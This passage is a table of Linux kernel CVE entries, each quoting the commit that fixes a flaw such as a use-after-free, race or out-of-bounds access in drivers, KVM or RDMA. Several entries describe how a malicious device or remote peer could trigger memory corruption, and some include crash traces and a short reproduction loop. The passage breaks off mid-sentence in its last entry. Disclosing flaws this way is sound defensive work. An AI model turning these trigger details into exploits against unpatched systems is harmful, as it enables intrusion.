| CVE-2026-64233 | In the Linux kernel, the following vulnerability has been resolved: usb: gadget: uvc: hold opts->lock across XU walks in uvc_function_bind uvc_function_bind() walks &opts->extension_units twice without holding opts->lock: - directly, for the iExtension string-descriptor fixup loop; - indirectly, four times via uvc_copy_descriptors() (once per speed), where the helper iterates uvc->desc.extension_units (which aliases &opts->extension_units) to size and emit XU descriptors. The configfs side (uvcg_extension_make / uvcg_extension_drop, in drivers/usb/gadget/function/uvc_configfs.c) takes opts->lock around its list_add_tail / list_del operations. A privileged userspace process that holds the configfs subtree open and writes the gadget UDC name to bind the function while concurrently rmdir()'ing an extensions subdir can race uvcg_extension_drop() against the bind-time list walks and dereference a freed struct uvcg_extension. Hold opts->lock from the start of the XU string-descriptor fixup through the last uvc_copy_descriptors() call, releasing on the descriptor-error path via a new error_unlock label that drops the lock before falling through to the existing error label. This matches the locking discipline of the configfs callbacks and removes the only remaining unsynchronised reader of the XU list during bind. Reachability: only privileged processes that can mount configfs and write to gadget UDC files can trigger the race, so this is a correctness fix rather than a security boundary. |
| CVE-2026-64234 | In the Linux kernel, the following vulnerability has been resolved: tty: serial: pch_uart: add check for dma_alloc_coherent() Add a check for dma_alloc_coherent() failure to prevent a potential NULL pointer dereference in dma_handle_rx(). Properly release DMA channels and the PCI device reference using a goto ladder if the allocation fails. |
| CVE-2026-64237 | In the Linux kernel, the following vulnerability has been resolved: Input: elan_i2c - validate firmware size before use Ensure that the firmware file is large enough to contain the expected number of pages and the signature (which resides at the end of the firmware blob) before accessing them to prevent potential out-of-bounds reads. |
| CVE-2026-64239 | In the Linux kernel, the following vulnerability has been resolved: mm/damon/sysfs-schemes: delete tried region in regions_rmdirs() DAMON sysfs maintains the DAMOS tried region directory objects via a linked list. When the user requests refresh of the directories, DAMON sysfs removes all the region directories first, and then generate updated regions directory on the empty space. The removal function (damon_sysfs_scheme_regions_rm_dirs()) only puts the kobj objects. Deletion of the container region object from the linked list is done inside the kobj release callback function. If somehow the callback invocation is delayed, the list will contain regions list that gonna be freed. If the updated region directories creation is started in this situation, the list can be corrupted and use-after-free can happen. Because the kobj objects are managed by only DAMON sysfs, the issue cannot happen in normal situation. But, such delays can be made on kernels that built with CONFIG_DEBUG_KOBJECT_RELEASE. On the kernel, the issue can indeed be reproduced like below. # damo start --damos_action stat # cd /sys/kernel/mm/damon/admin/kdamonds/0/ # for i in {1..10}; do echo update_schemes_tried_regions > state; done # dmesg | grep underflow [ 89.296152] refcount_t: underflow; use-after-free. Fix the issue by removing the region object from the list when decrementing the reference count. Also update damos_sysfs_populate_region_dir() to add the region object to the list only after the kobject_init_and_add() is success, so that fail of kobject_init_and_add() is not leaving the deallocated object on the list. The issue was discovered [1] by Sashiko. |
| CVE-2026-64240 | In the Linux kernel, the following vulnerability has been resolved: media: rc: igorplugusb: fix control request setup packet Commit eac69475b01f ("media: rc: igorplugusb: heed coherency rules") changed the control request storage from an embedded struct to an allocated pointer so it can obey DMA coherency rules. However, the driver still passes &ir->request to usb_fill_control_urb(). That points the URB setup packet at the pointer field itself rather than at the allocated struct usb_ctrlrequest. USB core then interprets pointer bytes as the setup packet. This can produce an invalid bRequestType and trigger the control direction warning reported by syzbot: usb 2-1: BOGUS control dir, pipe 80003580 doesn't match bRequestType 0 Pass ir->request itself as the setup packet. |
| CVE-2026-64241 | In the Linux kernel, the following vulnerability has been resolved: gpio: rockchip: teardown bugs and resource leaks Address several teardown issues and resource leaks in the driver's remove path and error handling: 1. Debounce clock reference leak: The debounce clock (bank->db_clk) is obtained using of_clk_get() which increments the clock's reference count, but clk_put() is never called. Register a devm action to cleanly release it on unbind. Note that of_clk_get(..., 1) remains necessary over devm_clk_get() because the DT binding does not define clock-names, precluding name-based lookup. 2. Unregistered chained IRQ handler: The chained IRQ handler is not disconnected in remove(). If a stray interrupt fires after the driver is removed, the kernel attempts to execute a stale handler, leading to a panic. Fix this by clearing the handler in remove(). 3. IRQ domain leak: The linear IRQ domain and its generic chips are allocated manually during probe but never removed. Remove the IRQ domain during driver teardown to free the associated generic chips and mappings. [Bartosz: don't emit an error message on devres allocation failure] |
| CVE-2026-64242 | In the Linux kernel, the following vulnerability has been resolved: usb: gadget: net2280: Fix double free in probe error path usb_initialize_gadget() installs gadget_release() as the release callback for the embedded gadget device. The struct net2280 instance is therefore released through gadget_release() when the gadget device's last reference is dropped. The probe error path calls net2280_remove(), which tears down the partially initialized device and drops the gadget reference with usb_put_gadget(). Calling kfree(dev) afterwards can free the same object again. Drop the explicit kfree() and let the gadget device release callback handle the final free. This issue was found by a static analysis tool I am developing. |
| CVE-2026-64243 | In the Linux kernel, the following vulnerability has been resolved: ASoC: codecs: simple-mux: Fix enum control bounds check simple_mux_control_put() rejects values greater than e->items, but enum control values are zero based. For the two-entry mux used by this driver, valid values are 0 and 1, so value 2 must be rejected as well. Accepting e->items can store an invalid mux state, pass it to the GPIO setter, and pass it on to the DAPM mux update path where it is used as an index into the enum text array. Use the same >= e->items check used by the ASoC enum helpers. |
| CVE-2026-64244 | In the Linux kernel, the following vulnerability has been resolved: drivers/base/memory: set mem->altmap after successful device registration If __add_memory_block() fails at xa_store() (under memory pressure for example), device_unregister() is called, which eventually triggers memory_block_release() with mem->altmap still set, causing a WARN_ON(mem->altmap). This was triggered by modifying virtio-mem driver. Fix this by delaying the assignment of mem->altmap until after __add_memory_block() has succeeded. |
| CVE-2026-64245 | In the Linux kernel, the following vulnerability has been resolved: fbdev: modedb: fix a possible UAF in fb_find_mode() If mode_option is NULL, it is assigned from mode_option_buf: if (!mode_option) { fb_get_options(NULL, &mode_option_buf); mode_option = mode_option_buf; } Later, name is assigned from mode_option: const char *name = mode_option; However, mode_option_buf is freed before name is no longer used: kfree(mode_option_buf); while name is still accessed by: if ((name_matches(db[i], name, namelen) || Since name aliases mode_option_buf, this may result in a use-after-free. Fix this by extending the lifetime of mode_option_buf until the end of the function by using scope-based resource management for cleanup. |
| CVE-2026-64246 | In the Linux kernel, the following vulnerability has been resolved: power: reset: linkstation-poweroff: fix use-after-free in the linkstation_poweroff_init() Move of_node_put(dn) after the of_match_node() call, which still needs the node pointer. The node reference is correctly released after use. |
| CVE-2026-64247 | In the Linux kernel, the following vulnerability has been resolved: KVM: x86: hyper-v: Bound the bank index when querying sparse banks When checking if a VP ID is included in a sparse bank set, explicitly check that the ID can actually be contained in a sparse bank (the TLFS allows for a maximum of 64 banks of 64 vCPUs each). When handling a paravirtual TLB flush for L2, the VP ID is copied verbatim from the enlightened VMCS, without any bounds check, i.e. isn't guaranteed to be under the limit of 4096. Failure to check the bounds of the VP ID leads to an out-of-bounds read when testing the sparse bank, and super strictly speaking could lead to KVM performing an unnecessary TLB flush for an L2 vCPU. ================================================================== BUG: KASAN: use-after-free in hv_is_vp_in_sparse_set+0x85/0x100 [kvm] Read of size 8 at addr ffff88811ba5f598 by task hyperv_evmcs/2802 CPU: 12 UID: 1000 PID: 2802 Comm: hyperv_evmcs Not tainted 7.1.0-rc2 #7 PREEMPT Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 0.0.0 02/06/2015 Call Trace: <TASK> dump_stack_lvl+0x51/0x60 print_report+0xcb/0x5d0 kasan_report+0xb4/0xe0 kasan_check_range+0x35/0x1b0 hv_is_vp_in_sparse_set+0x85/0x100 [kvm] kvm_hv_flush_tlb+0xe9e/0x16c0 [kvm] kvm_hv_hypercall+0xe6b/0x1e60 [kvm] vmx_handle_exit+0x485/0x1b60 [kvm_intel] kvm_arch_vcpu_ioctl_run+0x22e3/0x5070 [kvm] kvm_vcpu_ioctl+0x5d0/0x10c0 [kvm] __x64_sys_ioctl+0x129/0x1a0 do_syscall_64+0xb9/0xcf0 entry_SYSCALL_64_after_hwframe+0x4b/0x53 RIP: 0033:0x7f0e62d1a9bf </TASK> The buggy address belongs to the physical page: page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffffffffffffffff pfn:0x11ba5f flags: 0x4000000000000000(zone=1) raw: 4000000000000000 0000000000000000 00000000ffffffff 0000000000000000 raw: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000000 page dumped because: kasan: bad access detected Memory state around the buggy address: ffff88811ba5f480: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ffff88811ba5f500: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff >ffff88811ba5f580: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ^ ffff88811ba5f600: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ffff88811ba5f680: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ================================================================== Disabling lock debugging due to kernel taint Opportunistically add a compile time assertion to ensure the maximum number of sparse banks exactly matches the number of possible bits in the passed in mask. [sean: add KASAN splat, drop comment, add assert, massage changelog] |
| CVE-2026-64248 | In the Linux kernel, the following vulnerability has been resolved: MIPS: smp: report dying CPU to RCU in stop_this_cpu() smp_send_stop() parks all secondary CPUs in stop_this_cpu(). The function marks the CPU offline for the scheduler via set_cpu_online(false) but never informs RCU, so RCU keeps expecting a quiescent state from CPUs that are now spinning forever with interrupts disabled. As long as nothing waits for an RCU grace period after smp_send_stop() this is harmless, which is why it went unnoticed. Since commit 91840be8f710 ("irq_work: Fix use-after-free in irq_work_single() on PREEMPT_RT") however, irq_work_sync() calls synchronize_rcu() on architectures without an irq_work self-IPI, i.e. where arch_irq_work_has_interrupt() returns false. That is the asm-generic default used by MIPS. Any irq_work_sync() issued in the reboot/shutdown path after smp_send_stop() then blocks on a grace period that can never complete, hanging the reboot: WARNING: CPU: 0 PID: 15 at kernel/irq_work.c:144 irq_work_queue_on ... rcu: INFO: rcu_sched detected stalls on CPUs/tasks: rcu: Offline CPU 1 blocking current GP. rcu: Offline CPU 2 blocking current GP. rcu: Offline CPU 3 blocking current GP. This issue was noticed on several Realtek MIPS switch SoCs (MIPS interAptiv) and came up during kernel bump downstream in OpenWrt from 6.18.33 to 6.18.34, after the backport of the patch to the 6.18 stable branch. The patch also has been backported all the way back to 6.1. Call rcutree_report_cpu_dead() once interrupts are disabled, mirroring the generic CPU-hotplug offline path, so RCU stops waiting on the parked CPUs and grace periods can still complete. MIPS shuts down all CPUs here without going through the CPU-hotplug mechanism, so this report is not otherwise issued. Reporting a dying CPU to RCU outside the regular hotplug offline path is not unprecedented: arm64 does the same in cpu_die_early(). There it is an exception for a CPU that was coming online and is aborting bringup, rather than the default shutdown action as on MIPS. |
| CVE-2026-64249 | In the Linux kernel, the following vulnerability has been resolved: fpga: region: fix use-after-free in child_regions_with_firmware() Move of_node_put(child_region) after the error print to avoid accessing freed memory when pr_err() references child_region. [ Yilun: Fix the Fixes tag ] |
| CVE-2026-64250 | In the Linux kernel, the following vulnerability has been resolved: LoongArch: Report dying CPU to RCU in stop_this_cpu() This is a port of MIPS commit 9f3f3bdc6d9dac1 ("MIPS: smp: report dying CPU to RCU in stop_this_cpu()"). smp_send_stop() parks all secondary CPUs in stop_this_cpu(). And the function marks the CPU offline for the scheduler via set_cpu_online(false) but never informs RCU, so RCU keeps expecting a quiescent state from CPUs that are now spinning forever with interrupts disabled. As long as nothing waits for an RCU grace period after smp_send_stop() this is harmless, which is why it went unnoticed. However, since commit 91840be8f710370 ("irq_work: Fix use-after-free in irq_work_single() on PREEMPT_RT"), irq_work_sync() calls synchronize_rcu() on architectures without an irq_work self-IPI, i.e. where arch_irq_work_has_interrupt() returns false. Any irq_work_sync() issued in the reboot/shutdown/halt path after smp_send_stop() then blocks on a grace period that can never complete, hanging the reboot: WARNING: CPU: 0 PID: 15 at kernel/irq_work.c:144 irq_work_queue_on ... rcu: INFO: rcu_sched detected stalls on CPUs/tasks: rcu: Offline CPU 1 blocking current GP. rcu: Offline CPU 2 blocking current GP. rcu: Offline CPU 3 blocking current GP. This issue needs some hacks to reproduce, and it was not noticed on LoongArch because arch_irq_work_has_interrupt() usually returns true. Call rcutree_report_cpu_dead() once interrupts are disabled, mirroring the generic CPU-hotplug offline path, so RCU stops waiting on the parked CPUs and grace periods can still complete. LoongArch shuts down all CPUs here without going through the CPU-hotplug mechanism, so this report is not otherwise issued. |
| CVE-2026-64252 | In the Linux kernel, the following vulnerability has been resolved: MIPS: DEC: Prevent initial console buffer from landing in XKPHYS In 64-bit configurations calling the initial console output handler from a kernel thread other than the initial one will result in a situation where the stack has been placed in the XKPHYS 64-bit memory segment and consequently so has been the buffer allocated there that is used as the argument corresponding to the `%s' output conversion specifier for the firmware's printf() entry point. This 64-bit address will then be truncated by 32-bit firmware, resulting in an attempt to access the wrong memory location, which in turn will cause all kinds of unpredictable behaviour, such as a kernel crash: Console: colour dummy device 160x64 Calibrating delay loop... 49.36 BogoMIPS (lpj=192512) pid_max: default: 32768 minimum: 301 CPU 0 Unable to handle kernel paging request at virtual address 000000000203bd00, epc == ffffffffbfc08364, ra == ffffffffbfc08800 Oops[#1]: CPU: 0 PID: 0 Comm: swapper Not tainted 5.18.0-rc2-00254-gfb649bda6f56-dirty #121 $ 0 : 0000000000000000 0000000000000001 0000000000000023 ffffffff80684ba0 $ 4 : 000000000203bd00 ffffffffbfc0f3b4 ffffffffffffffff 0000000000000073 $ 8 : 0a303d7469000000 0000000000000000 0000000000000073 ffffffffbfc0f473 $12 : 0000000000000002 0000000000000000 ffffffff80684c1c 0000000000000000 $16 : 0000000000000000 ffffffff80596dc9 0000000000000000 ffffffffbfc09240 $20 : ffffffff80684c40 ffffffffbfc0f400 000000000000002d 000000000000002b $24 : ffffffffffffffbf 000000000203bd00 $28 : ffffffff805f0000 ffffffff80684b58 0000000000000030 ffffffffbfc08800 Hi : 0000000000000000 Lo : 0000000000000aa8 epc : ffffffffbfc08364 0xffffffffbfc08364 ra : ffffffffbfc08800 0xffffffffbfc08800 Status: 140120e2 KX SX UX KERNEL EXL Cause : 00000008 (ExcCode 02) BadVA : 000000000203bd00 PrId : 00000430 (R4000SC) Modules linked in: Process swapper (pid: 0, threadinfo=(____ptrval____), task=(____ptrval____), tls=0000000000000000) Stack : 0000000000000000 0000000000000000 0000000000000000 0000004d0000004d 80684cc0806a2a40 80596dc80000004d 8061000000000000 bfc0850c80684c38 0000000000000000 000000000203bd00 0000000000000000 0000000000000000 0000000000000000 00000000bfc0f3b4 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000002500000000 0000000000000000 0000000000000000 802c1a7400000000 0203bd0080596dc8 0203bd4d69000000 6c61632000000018 5f746567646e6172 6c616320625f6d6f 5f736e5f6d6f7266 206361323778302b 303d74696e726320 806a0a38806b0000 806a0a38806b0000 00000000806b0000 80683c58806b0000 ... Call Trace: Code: a082ffff 03e00008 00601021 <80820000> 00001821 10400005 24840001 80820000 24630001 ---[ end trace 0000000000000000 ]--- Kernel panic - not syncing: Fatal exception in interrupt KN04 V2.1k (PC: 0xa0026768, SP: 0x806848e8) >> In this case the pointer in $4 was truncated from 0x980000000203bd00 to 0x000000000203bd00. This may happen when no final console driver has been enabled in the configuration and consequently the initial console continues being used late into bootstrap or with an upcoming change that will switch the zs driver to use a platform device, which in turn will make the console handover happen only after other kernel threads have already been started. Fix the issue by making the buffer static and initdata, and therefore placed in the CKSEG0 32-bit compatibility segment, observing that the console output handler is called with the console lock held, implying no need for this code to be reentrant. Add an assertion to verify the buffer actually has been placed in a compatibility segment. |
| CVE-2026-64254 | In the Linux kernel, the following vulnerability has been resolved: NTB: epf: Avoid pci_iounmap() with offset when PEER_SPAD and CONFIG share BAR When BAR_PEER_SPAD and BAR_CONFIG share one PCI BAR, the module teardown path ends up calling pci_iounmap() on the same iomem with some offset, which is unnecessary and triggers a kernel warning like the following: Trying to vunmap() nonexistent vm area (0000000069a5ffe8) WARNING: mm/vmalloc.c:3470 at vunmap+0x58/0x68, CPU#5: modprobe/2937 [...] Call trace: vunmap+0x58/0x68 (P) iounmap+0x34/0x48 pci_iounmap+0x2c/0x40 ntb_epf_pci_remove+0x44/0x80 [ntb_hw_epf] pci_device_remove+0x48/0xf8 device_remove+0x50/0x88 device_release_driver_internal+0x1c8/0x228 driver_detach+0x50/0xb0 bus_remove_driver+0x74/0x100 driver_unregister+0x34/0x68 pci_unregister_driver+0x34/0xa0 ntb_epf_pci_driver_exit+0x14/0xfe0 [ntb_hw_epf] [...] Fix it by unmapping only when PEER_SPAD and CONFIG use difference bars. |
| CVE-2026-64255 | In the Linux kernel, the following vulnerability has been resolved: wifi: iwlwifi: mld: validate sta_mask before ffs() in BA session handlers Three BA session handlers use ffs(ba_data->sta_mask) - 1 to derive a station ID without checking that sta_mask is non-zero. When sta_mask is zero, ffs() returns 0 and the subtraction wraps to 0xFFFFFFFF, causing an out-of-bounds access on fw_id_to_link_sta[]. Add WARN_ON_ONCE(!ba_data->sta_mask) guards before each ffs() call, consistent with the existing check in iwl_mld_ampdu_rx_start(). |
| CVE-2026-64256 | In the Linux kernel, the following vulnerability has been resolved: xfs: don't wrap around quota ids in dqiterate LOLLM noticed that q_id is an unsigned 32-bit variable. If it happens to be set to XFS_DQ_ID_MAX due to a filesystem that actually has a dquot for ID_MAX, then this addition will truncate to zero and the iteration starts over. Fix this by casting to u64. |
| CVE-2026-64266 | In the Linux kernel, the following vulnerability has been resolved: fuse: re-lock request before returning from fuse_ref_folio() fuse_ref_folio() unlocks the request but does not re-lock it before returning. fuse_chan_abort() can end the request and the async end callback (eg fuse_writepage_free()) can free the args while the subsequent copy chain logic after fuse_ref_folio() accesses them, leading to use-after-free issues. Fix this by locking the request in fuse_ref_folio() before returning. |
| CVE-2026-64268 | In the Linux kernel, the following vulnerability has been resolved: RDMA/siw: bound Read Response placement to the RREAD length In drivers/infiniband/sw/siw/siw_qp_rx.c, siw_proc_rresp() places each inbound Read Response DDP segment at sge->laddr + wqe->processed and then accumulates wqe->processed, but it never checks the running total against the sink buffer length on continuation segments. siw_check_sge() resolves and validates the sink memory only on the first fragment (the if (!*mem) branch), and siw_rresp_check_ntoh() compares the cumulative length against wqe->bytes only on the final segment (the !frx->more_ddp_segs guard). A connected siw peer that answers an outstanding RREAD with Read Response segments that keep the DDP Last flag clear, carrying more total payload than the RREAD requested, drives wqe->processed past the validated sink buffer; the next siw_rx_data() call writes out of bounds at sge->laddr + wqe->processed. siw runs iWARP over ordinary routable TCP, so the peer is the remote end of an established RDMA connection and needs no local privilege. Bound every segment before placement, exactly as siw_proc_send() and siw_proc_write() already do for their tagged and untagged paths, and terminate the connection with a base-or-bounds DDP error when the Read Response would overrun the sink buffer. This is the second receive-path length fix for this file. A separate change rejects an MPA FPDU length that underflows the per-fragment remainder in the header decode; that guard does not cover this case, because here each individual segment length is self-consistent and only the accumulated placement offset overruns the buffer. |
| CVE-2026-64269 | In the Linux kernel, the following vulnerability has been resolved: RDMA/rtrs-srv: Bound RDMA-Write length to chunk size in rdma_write_sg When the server answers an RTRS READ, rdma_write_sg() builds the source scatter/gather entry for the IB_WR_RDMA_WRITE that returns data to the peer. Its length is taken directly from the wire descriptor: plist->length = le32_to_cpu(id->rd_msg->desc[0].len); rd_msg points into the chunk buffer that the remote peer filled via RDMA-WRITE-WITH-IMM (rtrs_srv_rdma_done() -> process_io_req() -> process_read()), so desc[0].len is attacker-controlled and, before this change, was only rejected when zero. The source address is the fixed chunk start (dma_addr[msg_id]) and the source lkey is the PD-wide local_dma_lkey, which is not tied to the chunk's MR mapping, so the verbs layer does not constrain the transfer length to max_chunk_size. msg_id and off are bounded against queue_depth and max_chunk_size in rtrs_srv_rdma_done(), but desc[0].len is a separate field that was not checked against the chunk size. A peer that advertises desc[0].len larger than max_chunk_size can make the posted RDMA write read past the chunk's mapped region. The resulting behaviour depends on the IOMMU configuration: with no IOMMU or in passthrough mode the read may extend into memory adjacent to the chunk and be returned to the peer, which can disclose host memory; with a translating IOMMU the out-of-range access is expected to fault and abort the connection. In either case the transfer exceeds what the protocol permits and is driven by a remote peer. Reject a descriptor length above max_chunk_size, mirroring the existing off >= max_chunk_size bound in rtrs_srv_rdma_done(). Legitimate clients do not exceed it: the client sets desc[0].len to its MR length, which is capped at the negotiated max_io_size (max_chunk_size - MAX_HDR_SIZE). |
| CVE-2026-64270 | In the Linux kernel, the following vulnerability has been resolved: Input: mms114 - reject an oversized device packet size mms114_interrupt() reads a packet of touch data from the device into a fixed-size on-stack buffer struct mms114_touch touch[MMS114_MAX_TOUCH]; which holds MMS114_MAX_TOUCH (10) events of MMS114_EVENT_SIZE (8) bytes, i.e. 80 bytes. The length of the I2C read into it is taken verbatim from the device: packet_size = mms114_read_reg(data, MMS114_PACKET_SIZE); if (packet_size <= 0) goto out; ... error = __mms114_read_reg(data, MMS114_INFORMATION, packet_size, (u8 *)touch); packet_size is a single device register byte (0x0F) and the only check is the lower bound packet_size <= 0; it is never bounded against the size of touch[]. A malfunctioning, malicious or counterfeit controller (or an attacker tampering with the I2C bus) can report a packet_size of up to 255, so __mms114_read_reg() writes up to 175 bytes past the end of touch[] on the IRQ-thread stack: a stack out-of-bounds write that can overwrite the stack canary, saved registers and the return address. A well-formed device never reports more than the buffer holds, so reject an oversized packet and drop the report, consistent with the handler's other error paths, rather than reading past the buffer. |
| CVE-2026-64271 | In the Linux kernel, the following vulnerability has been resolved: Input: touchwin - reset the packet index on every complete packet tw_interrupt() accumulates each non-zero serial byte into a fixed three-byte buffer with a running index that is only reset once a full packet has been received *and* the device's two Y bytes agree: tw->data[tw->idx++] = data; if (tw->idx == TW_LENGTH && tw->data[1] == tw->data[2]) { ... tw->idx = 0; } The reset is gated on tw->data[1] == tw->data[2], a value the device controls. A malicious, malfunctioning or counterfeit Touchwindow peripheral can stream non-zero bytes whose 2nd and 3rd bytes differ: the index reaches TW_LENGTH without the equality holding, is never reset, and keeps growing, so tw->data[tw->idx++] walks off the end of the three-byte array and the rest of the heap-allocated struct tw, one attacker-chosen byte at a time -- an unbounded, device-driven heap out-of-bounds write. Reset the index on every completed packet and report an event only when the two Y bytes match, like the other serio touchscreen drivers do. |
| CVE-2026-64272 | In the Linux kernel, the following vulnerability has been resolved: Input: mms114 - fix touch indexing for MMS134S and MMS136 The MMS134S and MMS136 touch controllers have an event size of 6 bytes rather than 8 bytes. When __mms114_read_reg() reads the touch data packet from the device into the touch buffer, the events are packed tightly at 6-byte intervals. However, the driver iterates through the events using standard C array indexing (touch[index]), where each element is sizeof(struct mms114_touch) (8 bytes) apart. As a result, any touch events beyond the first one are read from incorrect offsets and parsed improperly. Fix this by explicitly calculating the byte offset for each touch event based on the device's specific event size. |
| CVE-2026-64273 | In the Linux kernel, the following vulnerability has been resolved: Input: iforce - bound the device-reported force-feedback effect index iforce_process_packet() handles a status report (packet id 0x02) by taking a force-feedback effect index straight from the device wire and using it to address the per-effect state array: i = data[1] & 0x7f; if (data[1] & 0x80) { if (!test_and_set_bit(FF_CORE_IS_PLAYED, iforce->core_effects[i].flags)) ... } else if (test_and_clear_bit(FF_CORE_IS_PLAYED, iforce->core_effects[i].flags)) { ... } The index is masked only with 0x7f, so it ranges 0..127, but core_effects[] holds only IFORCE_EFFECTS_MAX (32) entries. For an index of 32..127 the test_and_set_bit()/test_and_clear_bit() is an out-of-bounds single-bit read-modify-write past the array. core_effects[] is the second-to-last member of struct iforce, so the write lands in the trailing members and beyond the embedding kzalloc()'d iforce_serio / iforce_usb object. data[1] is unvalidated device payload on both transports (the USB interrupt endpoint and serio), and the status path is not gated on force feedback being present, so a malicious or counterfeit device can set or clear a bit at an attacker-chosen offset past the object. Reject an out-of-range index instead of indexing with it. Bound against the array dimension IFORCE_EFFECTS_MAX rather than dev->ff->max_effects so the check guarantees memory safety regardless of how many effects the device registered. A legitimate "effect started/stopped" status always carries an index below IFORCE_EFFECTS_MAX, so well-formed devices are unaffected; the neighbouring mark_core_as_ready() loop is already bounded and is left untouched. |
| CVE-2026-64274 | In the Linux kernel, the following vulnerability has been resolved: Input: goodix - clamp the device-reported contact count goodix_ts_read_input_report() copies the number of touch points reported by the device into an on-stack buffer u8 point_data[2 + GOODIX_MAX_CONTACT_SIZE * GOODIX_MAX_CONTACTS]; which is sized for at most GOODIX_MAX_CONTACTS (10) contacts. The only runtime check bounds the per-interrupt count against ts->max_touch_num, but that value is taken verbatim from a 4-bit field of the device configuration block and is never clamped: ts->max_touch_num = ts->config[MAX_CONTACTS_LOC] & 0x0f; The nibble can be 0..15, so a malfunctioning, malicious or counterfeit controller (or an attacker tampering with the I2C bus) can advertise up to 15 contacts. goodix_ts_read_input_report() then accepts a touch_num of up to 15 and the second goodix_i2c_read() writes ts->contact_size * (touch_num - 1) bytes past the one-contact header into point_data - up to 30 bytes (45 with the 9-byte report format) beyond the 92-byte buffer: a stack out-of-bounds write. Clamp max_touch_num to GOODIX_MAX_CONTACTS, the number of contacts point_data[] is sized for, when reading it from the configuration. |
| CVE-2026-64275 | In the Linux kernel, the following vulnerability has been resolved: Input: elan_i2c - prevent division by zero and arithmetic underflow The Elan I2C touchpad driver queries the device for its physical dimensions and trace counts to calculate the device resolution and width. However, if the device firmware or device tree provides invalid zero values for x_traces or y_traces, it results in a fatal division-by-zero exception leading to a kernel panic during device probe. Add checks to ensure these parameters are non-zero before performing the division. If invalid trace values are detected, fall back to a safe default of 1. Additionally, prevent an arithmetic underflow in the touch reporting logic. Previously, if the calculated or fallback width was smaller than ETP_FWIDTH_REDUCE (90), the subtraction would underflow, resulting in a massive unsigned integer being reported to userspace. Clamp the adjusted width to a minimum of 0 to safely handle small physical dimensions and fallback scenarios. Completing the probe with safe fallback values ensures the sysfs nodes are created, keeping the firmware update path intact so a recovery firmware can be flashed to the device. |
| CVE-2026-64276 | In the Linux kernel, the following vulnerability has been resolved: Input: synaptics-rmi4 - bound the F30 keymap to the GPIO/LED count rmi_f30_map_gpios() allocates gpioled_key_map with min(gpioled_count, TRACKSTICK_RANGE_END) == at most 6 entries, but rmi_f30_attention() iterates the full f30->gpioled_count (device query register, range 0..31) and dereferences gpioled_key_map[i], and input->keycodemax is set to the full gpioled_count while input->keycode points at the 6-entry allocation. A device that reports gpioled_count > 6 with GPIO support enabled therefore causes an out-of-bounds read on the attention interrupt and out-of-bounds read/write through the EVIOCGKEYCODE/EVIOCSKEYCODE ioctls, which bound the index only against keycodemax. This is the same defect as the F3A handler, which was copied from F30. Size the keymap for the full gpioled_count; the mapping loop still assigns only the first min(gpioled_count, TRACKSTICK_RANGE_END) entries. |
| CVE-2026-64277 | In the Linux kernel, the following vulnerability has been resolved: Input: synaptics-rmi4 - bound the F3A keymap to the GPIO count rmi_f3a_initialize() takes the GPIO count from the device query register (f3a->gpio_count = buf & RMI_F3A_GPIO_COUNT, range 0..127). rmi_f3a_map_gpios() then allocates gpio_key_map with min(gpio_count, TRACKSTICK_RANGE_END) == at most 6 entries, but rmi_f3a_attention() iterates the full gpio_count and dereferences gpio_key_map[i], and input->keycodemax is set to the full gpio_count while input->keycode points at the 6-entry allocation. A device that reports gpio_count > 6 therefore causes an out-of-bounds read of gpio_key_map[] on every attention interrupt, and out-of-bounds accesses through the input core's default keymap ioctls: EVIOCGKEYCODE reads past the buffer (leaking adjacent slab memory to user space) and EVIOCSKEYCODE writes a caller-controlled value past it, for any process able to open the evdev node, since input_default_getkeycode() and input_default_setkeycode() only bound the index against keycodemax. Size the keymap for the full gpio_count. The mapping loop is unchanged: it still assigns only the first min(gpio_count, TRACKSTICK_RANGE_END) entries; the remaining slots stay KEY_RESERVED (devm_kcalloc zero-fills) and are skipped when reporting. |
| CVE-2026-64279 | In the Linux kernel, the following vulnerability has been resolved: i2c: core: fix adapter deregistration race Adapters can be looked up by their id using i2c_get_adapter() which takes a reference to the embedded struct device. Remove the adapter from the IDR before tearing it down during deregistration (and on registration failure) to make sure its resources are not accessed after having been freed (e.g. the device name). |
| CVE-2026-64280 | In the Linux kernel, the following vulnerability has been resolved: fpga: dfl-afu: validate DMA mapping length in afu_dma_map_region() afu_ioctl_dma_map() accepts a 64-bit length from userspace via DFL_FPGA_PORT_DMA_MAP ioctl without an upper bound check. The value is passed to afu_dma_pin_pages() where npages is derived as length >> PAGE_SHIFT and passed to pin_user_pages_fast() which takes int nr_pages, causing implicit truncation if length is very large. Validate map.length at the ioctl entry point before calling afu_dma_map_region(), rejecting values whose page count exceeds INT_MAX. |
| CVE-2026-64283 | In the Linux kernel, the following vulnerability has been resolved: KVM: guest_memfd: Treat memslot binding offset+size as unsigned values When binding a memslot to a guest_memfd file, treat the offset and size as unsigned values to fix a bug where the sum of the two can result in a false negative when checking for overflow against the size of the file. Passing unsigned values also avoids relying on somewhat obscure checks in other flows for safety, and tracks the offset and size as they are intended to be tracked, as unsigned values. On 64-bit kernels, the number of pages a memslot contains and thus the size (and offset) of its guest_memfd binding are unsigned 64-bit values. Taking the offset+size as an loff_t instead of a uoff_t inadvertently converts the unsigned value to a signed value if the offset and/or size is massive. Locally storing the offset and size as signed values is benign in and of itself (though even that is *extremely* difficult to discern), but operating on their sum is not. For the offset, KVM explicitly checks against a negative value, which might seem like a bug as KVM could incorrectly reject a legitimate binding, but that's not actually the case as KVM_CREATE_GUEST_MEMFD takes a signed value for its size, i.e. a would-be-negative offset is also greater than the maximum possible size of any guest_memfd file. Regarding the size, while KVM lacks an explicit check for a negative value, i.e. seemingly has a flawed overflow check, KVM restricts the number of pages in a single memslot to the largest positive signed 32-bit value: if (id < KVM_USER_MEM_SLOTS && (mem->memory_size >> PAGE_SHIFT) > KVM_MEM_MAX_NR_PAGES) return -EINVAL; and so that maximum "size" will ever be is 0x7fffffff000. The sum of the two is, however, problematic. While the size is restricted by KVM's memslot logic, the offset is not, i.e. the offset is completely unchecked until the "offset + size > i_size_read(inode)" check. If the offset is the (nearly) largest possible _positive_ value, then adding size to the offset can result in a signed, negative 64-bit 